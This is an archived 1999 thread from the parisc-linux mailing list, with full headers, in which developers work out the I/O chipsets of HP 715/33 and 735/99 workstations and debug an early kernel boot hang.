|I think it has a lasi-chip...
|I don't know until now what gecko is.... (isn't it the same as lasi??).
|

The 715/33 does NOT have either LASI or DINO.  It uses an older 
I/O chip known as ASP.  ASP connects the processor bus to several 
external chips, including the NCR 53c710, Intel LAN and WD 16C552 (?
I'm doing this from memory) 2-serial/parallel chip.  It uses the PA7100
CPU which does not have GSC.

"Gecko" is the codename for the 712. The 715/33 has nothing to do
with Gecko.  Later 715s (/64, /80, and /100) ARE very similar to 
Gecko, and use the PA7100LC/LASI chipset (but not DINO).


	-Bill


From - Thu Nov 08 21:15:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Katz <billk@sr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/33 experience and one question (fwd)
Date: Fri, 16 Jul 1999 08:16:51 -0700 (PDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <199907161516.IAA21533@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619703 12988 80.91.229.3 (22 Nov 2014 01:28:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:23 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: billk@sr.hp.com  Fri Jul 16 09:16:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA19757
	for <parisc-linux@puffin.external.hp.com>; Fri, 16 Jul 1999 09:16:26 -0600
Original-Received: (qmail 19343 invoked by uid 15267); 16 Jul 1999 15:17:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19336 invoked from network); 16 Jul 1999 15:17:12 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 16 Jul 1999 15:17:12 -0000
Original-Received: from postal.sr.hp.com (root@postal.sr.hp.com [15.4.46.173])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id IAA25568
	for <parisc-linux@thepuffingroup.com>; Fri, 16 Jul 1999 08:16:56 -0700 (PDT)
Original-Received: from meow.sr.hp.com (billk@meow.sr.hp.com [15.8.162.83]) by postal.sr.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0) id IAA24617 for <parisc-linux@thepuffingroup.com>; Fri, 16 Jul 1999 08:15:50 -0700 (PDT)
Original-Received: (from billk@localhost) by meow.sr.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0) id IAA21533 for parisc-linux@thepuffingroup.com; Fri, 16 Jul 1999 08:16:51 -0700 (PDT)
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:9738

|Right, the 715 has neither DINO nor LASI.  The chips inside are labelled
|OLIN and SHINKO.  http://www.thepuffingroup.com/parisc/hp9000_models.html
|has no details on these chips.  Alex tells me he's trying to get
|documentation on these chips, but I'll have to be patient.  The major
|stumbling block with these machines is likely to be the SCSI controller
|-- it's an NCR53C700 which is apparently a very nasty device; much more
|nasty than the 710 which is built into LASI.
|
|In my copious spare time, I'm stumbling through the Utah Mach sources,
|trying to glean details about OLIN and SHINKO but I've had no success
|so far.

Whoops.  My previous comments about ASP apply to the even earlier
machines (720/730/735).  I also didn't know about the differences
between 5sC700 and 53C710.

I'm sure we've got this data stashed away SOMEWHERE...

	-Bill


From - Thu Nov 08 21:15:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/33 experience and one question
Date: Fri, 16 Jul 1999 09:53:27 -0600 (MDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <199907161553.JAA10093@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619703 12991 80.91.229.3 (22 Nov 2014 01:28:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:23 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com, Ulrich.Strelow@schering.de
Original-X-From: mike@fast.cs.utah.edu  Fri Jul 16 09:53:04 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA20094
	for <parisc-linux@puffin.external.hp.com>; Fri, 16 Jul 1999 09:53:03 -0600
Original-Received: (qmail 26464 invoked by uid 15267); 16 Jul 1999 15:53:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26450 invoked from network); 16 Jul 1999 15:53:49 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 16 Jul 1999 15:53:49 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id JAA10093;
	Fri, 16 Jul 1999 09:53:27 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:9739

> Date: Fri, 16 Jul 1999 14:14:13 +0200
> From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
> To: Ulrich.Strelow@schering.de
> Subject: Re: [parisc-linux] 715/33 experience and one question
> 
> On Fri, Jul 16, 1999 at 01:54:18PM +0200, Ulrich.Strelow@schering.de wrote:
> [successful boot report snipped]
> > And then my question:
> > I think the 715/33 does  not  have a Dino or a Lasi chip (am I right?), but
> >  does it have a gecko (and what is this?)?
> 
> Right, the 715 has neither DINO nor LASI.  The chips inside are labelled
> OLIN and SHINKO.  http://www.thepuffingroup.com/parisc/hp9000_models.html
> has no details on these chips.  Alex tells me he's trying to get
> documentation on these chips, but I'll have to be patient.  The major
> stumbling block with these machines is likely to be the SCSI controller
> -- it's an NCR53C700 which is apparently a very nasty device; much more
> nasty than the 710 which is built into LASI.
> 
> In my copious spare time, I'm stumbling through the Utah Mach sources,
> trying to glean details about OLIN and SHINKO but I've had no success
> so far.
> 

We never had a 715/33 so I don't know anything about them.  But someone
else said they had the ASP which is the "original snakes" IO subsystem
(705/710/720/730/750).  The ASP is quite similar to the LASI, and there
is plenty of code in the Mach sources.

Hit your HP sources up for:

	Corba/Coral I/O Subsystem External Reference Specification

Don't have a part or drawing number unfortunately.  We have version 1.43
from November 1990.  Looks like it came out of Cupertino.

As for the SCSI controller, the 700 isn't that different from the 710.
Had a few bugs though as I recall and our driver/script did not work
around all of them.


From - Thu Nov 08 21:15:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/33 experience and one question
Date: Fri, 16 Jul 1999 09:10:51 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <199907161610.JAA23734@milano.cup.hp.com>
References: <199907161553.JAA10093@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619704 12994 80.91.229.3 (22 Nov 2014 01:28:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:24 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Mike Hibler <mike@fast.cs.utah.edu>
Original-X-From: grundler@cup.hp.com  Fri Jul 16 10:12:18 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA20432
	for <parisc-linux@puffin.external.hp.com>; Fri, 16 Jul 1999 10:12:18 -0600
Original-Received: (qmail 30687 invoked by uid 15267); 16 Jul 1999 16:13:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30678 invoked from network); 16 Jul 1999 16:13:02 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 16 Jul 1999 16:13:02 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id MAA29524;
	Fri, 16 Jul 1999 12:12:17 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id JAA23734; Fri, 16 Jul 1999 09:10:56 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 16 Jul 1999 09:53:27 PDT."
             <199907161553.JAA10093@fast.cs.utah.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:9740

Mike Hibler wrote:
> Hit your HP sources up for:
> 
> 	Corba/Coral I/O Subsystem External Reference Specification

typo: I think Mike meant "Cobra" - as in the snake.

> Don't have a part or drawing number unfortunately.  We have version 1.43
> from November 1990.  Looks like it came out of Cupertino.
> 
> As for the SCSI controller, the 700 isn't that different from the 710.
> Had a few bugs though as I recall and our driver/script did not work
> around all of them.

The two primary authors of HP-UXs c720 driver (which supported c710)
left HP at least a year ago. I'll try to interest them in helping
with the parisc-linux but no promises...

grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:15:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/33 experience and one question
Date: Fri, 16 Jul 1999 10:48:04 -0600 (MDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <199907161648.KAA11107@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619704 12997 80.91.229.3 (22 Nov 2014 01:28:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:24 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com, mike@fast.cs.utah.edu
Original-X-From: mike@fast.cs.utah.edu  Fri Jul 16 10:50:14 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA20658
	for <parisc-linux@puffin.external.hp.com>; Fri, 16 Jul 1999 10:50:13 -0600
Original-Received: (qmail 6223 invoked by uid 15267); 16 Jul 1999 16:50:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6215 invoked from network); 16 Jul 1999 16:50:58 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 16 Jul 1999 16:50:58 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id KAA11107;
	Fri, 16 Jul 1999 10:48:04 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:9741

> To: Mike Hibler <mike@fast.cs.utah.edu>
> cc: parisc-linux@thepuffingroup.com
> Subject: Re: [parisc-linux] 715/33 experience and one question 
> Date: Fri, 16 Jul 1999 09:10:51 -0700
> From: Grant Grundler <grundler@cup.hp.com>
> 
> Mike Hibler wrote:
> > Hit your HP sources up for:
> > 
> > 	Corba/Coral I/O Subsystem External Reference Specification
> 
> typo: I think Mike meant "Cobra" - as in the snake.
> 
Right you are, "Cobra/Coral".

I'd take a spitting, hissing Cobra over CORBA any day...


From - Thu Nov 08 21:15:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Antwort: Re: [parisc-linux] 715/33 experience and one question
Date: Fri, 16 Jul 1999 13:34:32 -0400 (EDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <199907161734.NAA01720@hiauly1.hia.nrc.ca>
References: <C12567B0.0045F7F0.00@BE2314.schering.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619704 12999 80.91.229.3 (22 Nov 2014 01:28:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:24 +0000 (UTC)
Cc: Helge.Deller@ruhr-uni-bochum.de, parisc-linux@thepuffingroup.com
To: Ulrich.Strelow@Schering.DE
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Jul 16 13:44:43 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA21300
	for <parisc-linux@puffin.external.hp.com>; Fri, 16 Jul 1999 13:44:43 -0600
Original-Received: (qmail 10776 invoked by uid 15267); 16 Jul 1999 19:45:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10769 invoked from network); 16 Jul 1999 19:45:29 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 16 Jul 1999 19:45:29 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id NAA01720;
	Fri, 16 Jul 1999 13:34:32 -0400 (EDT)
In-Reply-To: <C12567B0.0045F7F0.00@BE2314.schering.de> from "Ulrich.Strelow@Schering.DE" at Jul 16, 99 02:44:05 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9742

> Hello Helge,
> >>
> >> PSW: 00000000
> >> EIR: 00000000
> >> interrupted with code 241, regs 00000000
> >> IAOQ: 00000000 00000000
> >> Calibrating delay loop...
> >>
> >> Then it hangs with no leds blinking ...
> 
> >did you tried before or after Phillip's last commit (head.s changed) ?
> 
> head.S is Revision 1.23  1999/07/15 13:52:59  deller

My experience with my 735/99 is essentially the same.  With the same revision
of head.S, the boot hangs at the same spot with no leds blinking.  No dino
is found.  Here is the final output:

interrupted with code 142, regs 00000000
IAOQ: 00000000	0000000a
PSW:  00000000
EIR:  80000000
interrupted with code 241, regs 0000000a
IAOQ: 00000000	0000000a
Calibrating delay loop...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Antwort: Re: [parisc-linux] 715/33 experience and one question
Date: Fri, 16 Jul 1999 21:51:06 +0200
Lines: 9
Approved: news@gmane.org
Message-ID: <19990716215106.P19641@suse.de>
References: <C12567B0.0045F7F0.00@BE2314.schering.de> <199907161734.NAA01720@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619705 13002 80.91.229.3 (22 Nov 2014 01:28:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:25 +0000 (UTC)
Cc: Ulrich.Strelow@Schering.DE, Helge.Deller@ruhr-uni-bochum.de,
        parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: prumpf@suse.de  Fri Jul 16 13:50:39 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA21487
	for <parisc-linux@puffin.external.hp.com>; Fri, 16 Jul 1999 13:50:39 -0600
Original-Received: (qmail 11966 invoked by uid 15267); 16 Jul 1999 19:51:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11953 invoked from network); 16 Jul 1999 19:51:25 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 16 Jul 1999 19:51:25 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 3A3EF32CF0; Fri, 16 Jul 1999 21:51:12 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 514F267B0; Fri, 16 Jul 1999 21:51:12 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id 05C917F8B; Fri, 16 Jul 1999 21:51:07 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199907161734.NAA01720@hiauly1.hia.nrc.ca>; from John David Anglin on Fri, Jul 16, 1999 at 01:34:32PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9743

> > head.S is Revision 1.23  1999/07/15 13:52:59  deller
> 
> My experience with my 735/99 is essentially the same.  With the same revision
> of head.S, the boot hangs at the same spot with no leds blinking.  No dino
> is found.  Here is the final output:

Try again, please. (I seem to have missed one file during my morning sync,
which I tend to blame on the "morning" part).


From - Thu Nov 08 21:15:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Katz <billk@sr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Antwort: Re: [parisc-linux] 715/33 experience and one question (fwd)
Date: Fri, 16 Jul 1999 13:34:50 -0700 (PDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <199907162034.NAA22819@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619705 13008 80.91.229.3 (22 Nov 2014 01:28:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:25 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: billk@sr.hp.com  Fri Jul 16 14:34:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA21791
	for <parisc-linux@puffin.external.hp.com>; Fri, 16 Jul 1999 14:34:16 -0600
Original-Received: (qmail 20111 invoked by uid 15267); 16 Jul 1999 20:35:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20101 invoked from network); 16 Jul 1999 20:35:02 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 16 Jul 1999 20:35:02 -0000
Original-Received: from postal.sr.hp.com (root@postal.sr.hp.com [15.4.46.173])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id QAA24962
	for <parisc-linux@thepuffingroup.com>; Fri, 16 Jul 1999 16:34:24 -0400 (EDT)
Original-Received: from meow.sr.hp.com (billk@meow.sr.hp.com [15.8.162.83]) by postal.sr.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0) id NAA16597 for <parisc-linux@thepuffingroup.com>; Fri, 16 Jul 1999 13:33:50 -0700 (PDT)
Original-Received: (from billk@localhost) by meow.sr.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0) id NAA22819 for parisc-linux@thepuffingroup.com; Fri, 16 Jul 1999 13:34:51 -0700 (PDT)
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:9744

|> Hello Helge,
|> >>
|> >> PSW: 00000000
|> >> EIR: 00000000
|> >> interrupted with code 241, regs 00000000
|> >> IAOQ: 00000000 00000000
|> >> Calibrating delay loop...
|> >>
|> >> Then it hangs with no leds blinking ...
|> 
|> >did you tried before or after Phillip's last commit (head.s changed) ?
|> 
|> head.S is Revision 1.23  1999/07/15 13:52:59  deller
|
|My experience with my 735/99 is essentially the same.  With the same revision
|of head.S, the boot hangs at the same spot with no leds blinking.  No dino
|is found.  Here is the final output:
|
|interrupted with code 142, regs 00000000
|IAOQ: 00000000	0000000a
|PSW:  00000000
|EIR:  80000000
|interrupted with code 241, regs 0000000a
|IAOQ: 00000000	0000000a
|Calibrating delay loop...

The 735/99 and 715/33 (as well as the 715/50 /75) are all essentially the
same computers (as well as 725 /75, ...).  If any of them find a DINO,
we've got real problems ;-)

They all use the PCX-T (aka PA7100, aka T-Bird) processor, with the
original snakes CEC.

	-Bill


From - Thu Nov 08 21:15:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Antwort: Re: [parisc-linux] 715/33 experience and one question (fwd)
Date: Fri, 16 Jul 1999 15:04:05 -0600 (MDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <199907162104.PAA15762@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619705 13011 80.91.229.3 (22 Nov 2014 01:28:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:25 +0000 (UTC)
To: billk@sr.hp.com, parisc-linux@thepuffingroup.com
Original-X-From: mike@fast.cs.utah.edu  Fri Jul 16 15:06:07 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA22130
	for <parisc-linux@puffin.external.hp.com>; Fri, 16 Jul 1999 15:06:06 -0600
Original-Received: (qmail 25804 invoked by uid 15267); 16 Jul 1999 21:06:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25797 invoked from network); 16 Jul 1999 21:06:44 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 16 Jul 1999 21:06:44 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id PAA15762;
	Fri, 16 Jul 1999 15:04:05 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:9745

> Subject: Re: Antwort: Re: [parisc-linux] 715/33 experience and one question (fwd)
> To: parisc-linux@thepuffingroup.com
> Date: Fri, 16 Jul 1999 13:34:50 -0700 (PDT)
> From: Bill Katz <billk@sr.hp.com>
> 
> ...
> The 735/99 and 715/33 (as well as the 715/50 /75) are all essentially the
> same computers (as well as 725 /75, ...).  If any of them find a DINO,
> we've got real problems ;-)
> 
> They all use the PCX-T (aka PA7100, aka T-Bird) processor, with the
> original snakes CEC.
> 
Not to further confuse things but...

The 735/755 use the "Hardball IO subsystem" which is ASP plus
FWD SCSI (NCR53C720), optional FDDI (??), and CD quality audio (CS4215).

I know the 715s had the CD audio, but they don't have FWD SCSI.

Of course, the 715s above should not be confused with the 715/{64,80,100}
which use the "Gecko IO subsystem" aka LASI.  But I'm guessing that I am
not helping much at this point... :-)


From - Thu Nov 08 21:15:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Antwort: Re: [parisc-linux] 715/33 experience and one question
Date: Fri, 16 Jul 1999 18:10:18 -0400 (EDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <199907162210.SAA02313@hiauly1.hia.nrc.ca>
References: <19990716215106.P19641@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619705 13014 80.91.229.3 (22 Nov 2014 01:28:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:25 +0000 (UTC)
Cc: Ulrich.Strelow@Schering.DE, Helge.Deller@ruhr-uni-bochum.de,
        parisc-linux@thepuffingroup.com
To: prumpf@suse.de (Philipp Rumpf)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Jul 16 16:09:57 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA22390
	for <parisc-linux@puffin.external.hp.com>; Fri, 16 Jul 1999 16:09:57 -0600
Original-Received: (qmail 4869 invoked by uid 15267); 16 Jul 1999 22:10:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4862 invoked from network); 16 Jul 1999 22:10:42 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 16 Jul 1999 22:10:42 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id SAA02313;
	Fri, 16 Jul 1999 18:10:19 -0400 (EDT)
In-Reply-To: <19990716215106.P19641@suse.de> from "Philipp Rumpf" at Jul 16, 99 09:51:06 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9746

> > > head.S is Revision 1.23  1999/07/15 13:52:59  deller
> > 
> > My experience with my 735/99 is essentially the same.  With the same revision
> > of head.S, the boot hangs at the same spot with no leds blinking.  No dino
> > is found.  Here is the final output:
> 
> Try again, please. (I seem to have missed one file during my morning sync,
> which I tend to blame on the "morning" part).

...
interrupted with code 142, regs 00000000
IAOQ:	00000000	0000000a
PSW:	00000009
EIR:	00000000
interrupted with code 241, regs 00000000
IAOQ:	00000000	0000000a
Calibrating delay loop...
132.00 BogoMIPS
interrupted with code 17, regs 000ad600
IAOQ:	000211c0	000211c4
Kernel panic: here

Leds 1, 2, 3 and 4 were on.

System.map:

...
00021148 t $CODE$
000211a8 T free_initmem
000211b0 T do_check_pgt_cache
000211b8 T mem_init
000211c8 T __bad_pte_kernel
000211d0 T __bad_pte
000211d8 T get_pte_kernel_slow
...
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux-cvs] prumpf
Date: Sun, 18 Jul 1999 14:26:45 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <99071814285401.09927@P100>
References: <199907162329.RAA22817@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619706 13017 80.91.229.3 (22 Nov 2014 01:28:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:26 +0000 (UTC)
To: parisc-linux@thepuffingroup.com, Philipp Rumpf <prumpf@suse.de>
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Sun Jul 18 06:27:52 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA24512
	for <parisc-linux@puffin.external.hp.com>; Sun, 18 Jul 1999 06:27:51 -0600
Original-Received: (qmail 27560 invoked by uid 15267); 18 Jul 1999 12:28:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27553 invoked from network); 18 Jul 1999 12:28:32 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 18 Jul 1999 12:28:32 -0000
Original-Received: (qmail 16703 invoked from network); 18 Jul 1999 12:28:20 -0000
Original-Received: from dialppp-5-20.rz.ruhr-uni-bochum.de (HELO P100) (root@134.147.5.20)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 18 Jul 1999 12:28:20 -0000
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:9747

Am Sat, 17 Jul 1999 schrieb Philipp Rumpf:
> Update of /home/cvs/parisc/linux/init
> In directory puffin.external.hp.com:/tmp/cvs-serv22800/init
> 
> Modified Files:
> 	main.c 
> Log Message:
> another part of the endless "get bogomips to work, go to bed, come back
> to find it non-working series". argh.


YOURE THE MAN !!

Now the bogompis-check also works here (the kernel hangs afterwards, but this
is another problem I think).
Thanks,
Helge.


From - Thu Nov 08 21:15:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
